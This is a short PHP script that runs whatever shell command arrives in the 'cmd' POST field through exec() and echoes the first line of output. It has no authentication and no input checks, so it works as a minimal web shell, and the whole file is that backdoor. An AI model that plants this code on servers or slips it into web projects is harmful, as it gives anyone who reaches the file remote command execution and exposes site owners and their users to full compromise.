<?php 
if (trim($_POST['cmd']) != "") {
	$result = exec($_POST['cmd'], $output);
	if (count($output) == 0) {
		die("Error");
	}

	echo $output[0];
}

?>